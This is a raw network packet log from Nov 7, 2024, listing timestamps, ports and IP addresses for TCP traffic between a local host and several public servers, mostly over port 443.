Nov 7, 2024 17:25:28.538491011 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.538532972 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.538551092 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.538593054 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.594364882 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.595140934 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.595236063 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.595262051 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.601552963 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.601587057 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.601599932 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.601609945 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.601732016 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.604013920 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.610101938 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.610156059 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.610172987 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.655469894 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.655510902 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.655524015 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.696161032 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.715430021 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.715496063 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.715528011 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.715543032 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.715558052 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.715734005 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.715742111 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728482962 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728516102 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728526115 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.728538990 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728576899 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.728580952 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728595018 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.728629112 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.767669916 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:28.767756939 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:28.769870996 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:28.769876957 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:28.770140886 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:28.771290064 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:28.775393963 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.811322927 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:28.821496964 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.821517944 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.828872919 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.828958988 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.828970909 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.829787016 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.829832077 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.829840899 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.836034060 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.836075068 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.836106062 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.836116076 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.836251974 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.836260080 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.845132113 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.845186949 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.845201015 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.879278898 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.879554033 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.879569054 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.879961967 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.880034924 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.880701065 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.880752087 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.881772041 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.881849051 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.882000923 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.882009029 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.882030964 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.886759043 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.890244007 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.901746035 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.902260065 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.902286053 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.902844906 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:28.902852058 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:28.923340082 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.930883884 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.931066990 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.931077003 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.946099043 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.946130037 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.946161985 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.946177959 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.946275949 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.946542025 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.952805996 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.952841997 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.952857018 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.952864885 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.952908993 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.953169107 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.962721109 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.962902069 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.962922096 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.962930918 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.962992907 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.963077068 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.963149071 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.963195086 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.963233948 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.963246107 CET	443	49817	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:28.963255882 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:28.963290930 CET	49817	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:29.013782978 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.014380932 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.014406919 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.014918089 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.014923096 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.015088081 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:29.015165091 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:29.015271902 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:29.016088009 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:29.016105890 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:29.016118050 CET	49824	443	192.168.2.6	184.28.90.27
Nov 7, 2024 17:25:29.016123056 CET	443	49824	184.28.90.27	192.168.2.6
Nov 7, 2024 17:25:29.025437117 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.025818110 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.025845051 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.026278019 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.026290894 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.035016060 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.035038948 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.035095930 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.035105944 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.035146952 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.035284996 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.035303116 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.035319090 CET	49830	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.035325050 CET	443	49830	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.038208961 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.038248062 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.038419008 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.038552999 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.038569927 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.052453995 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.052812099 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.052831888 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.053282022 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.053291082 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.058295012 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.059185028 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.059214115 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.059578896 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.059585094 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.144104004 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.144191027 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.144254923 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.144474983 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.144496918 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.144509077 CET	49832	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.144515038 CET	443	49832	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.147912025 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.147964001 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.148086071 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.148277998 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.148294926 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.163739920 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:29.163794994 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.164048910 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.164102077 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.164422035 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.164446115 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.164458036 CET	49833	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.164464951 CET	443	49833	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.167543888 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.167567968 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.167756081 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.167943954 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.167958021 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.190437078 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.190502882 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.190574884 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.190860033 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.190879107 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.190903902 CET	49831	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.190911055 CET	443	49831	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.191812992 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.191891909 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.191988945 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.192114115 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.192114115 CET	49834	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.192126036 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.192138910 CET	443	49834	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.195044994 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195058107 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195082903 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.195084095 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.195156097 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195344925 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195359945 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195370913 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.195401907 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.195415974 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.212140083 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:29.212173939 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:29.214272976 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:29.214344978 CET	443	49826	172.217.16.206	192.168.2.6
Nov 7, 2024 17:25:29.214413881 CET	49826	443	192.168.2.6	172.217.16.206
Nov 7, 2024 17:25:29.547790051 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:29.547856092 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:29.660382986 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:29.690443993 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:29.695393085 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:29.783886909 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.785501003 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.785516024 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.786063910 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.786068916 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.891896009 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.892501116 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.892524958 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.893321037 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.893331051 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.916235924 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.916307926 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.916521072 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.917422056 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.917440891 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.917452097 CET	49835	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.917458057 CET	443	49835	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.920311928 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.920332909 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.920555115 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.920830965 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.920840979 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.921525955 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.922029972 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.922046900 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.922594070 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.922599077 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.935866117 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.936000109 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.936609030 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.936635017 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.937271118 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.937277079 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.937664986 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.937673092 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:29.938354015 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:29.938358068 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.024327993 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.024398088 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.024985075 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.043437004 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.043473005 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.043488979 CET	49836	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.043495893 CET	443	49836	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.049942970 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.050340891 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.050403118 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.054511070 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.054517031 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.054745913 CET	49838	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.054749966 CET	443	49838	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.066546917 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.066584110 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.066601992 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.066664934 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.066679001 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.066822052 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.067897081 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.067919970 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.067960978 CET	49839	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.067967892 CET	443	49839	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.070069075 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.070113897 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.070525885 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.070544958 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.070573092 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.072258949 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.072271109 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.073501110 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.073518991 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.073594093 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.073882103 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.073894024 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.077969074 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.078037024 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.078125000 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.078674078 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.078680038 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.078710079 CET	49837	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.078713894 CET	443	49837	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.085397005 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.085418940 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.085643053 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.086142063 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.086155891 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.155551910 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:30.157027006 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:30.664490938 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.670716047 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.670732021 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.671516895 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.671521902 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.797482014 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.797693014 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.797765017 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.797818899 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.798409939 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.798429966 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.798937082 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.798942089 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.799160957 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.799179077 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.799190998 CET	49840	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.799202919 CET	443	49840	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.802928925 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.802958012 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.803013086 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.803155899 CET	49845	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.803169012 CET	443	49845	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.803234100 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.803513050 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.803667068 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.803675890 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.804194927 CET	49842	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.804200888 CET	443	49842	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.804466009 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.804474115 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.804891109 CET	49843	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.804894924 CET	443	49843	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.833699942 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.834367037 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.834397078 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.835042000 CET	49844	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.835051060 CET	443	49844	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.927642107 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.927850962 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.927891970 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.927898884 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.927949905 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.928040981 CET	49841	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:30.928059101 CET	443	49841	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:30.928073883 CET	49841	443	192.168.2.6	13.107.246.45
